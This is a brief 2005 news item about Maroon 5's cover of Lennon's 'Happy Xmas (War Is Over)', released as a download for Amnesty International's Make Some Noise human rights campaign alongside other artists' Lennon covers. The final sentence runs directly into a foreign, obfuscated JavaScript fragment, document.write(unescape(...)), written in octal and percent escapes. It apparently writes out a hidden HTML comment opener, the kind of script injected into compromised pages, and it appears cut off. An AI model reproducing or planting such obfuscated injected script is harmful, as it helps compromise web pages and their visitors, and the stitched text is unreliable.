Maroon 5 is adding festive fuel to Make Some Noise, Amnesty International's ground-breaking global music venture, with the release of Happy Xmas (War Is Over). Make Some Noise sees top international artists record contemporary versions of John Lennon classics.
Available from December 20, 2005, as an online download via www.amnesty.org/noise, the L.A.-based quintet's single will be the fifth Lennon classic to be released through the Make Some Noise initiative. In the United States, all Make Some Noise downloads are available via MSN Music.
Originally recorded by Lennon in 1971, Happy Xmas (War Is Over) joins The Black Eyed Peas' rousing version of Power to the People, Snow Patrol's rendition of Isolation, Love performed by The Cure, and The Postal Service's interpretation of Grow Old With Me in the campaign, which aims to bring an awareness of human rights to a new generation.document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;
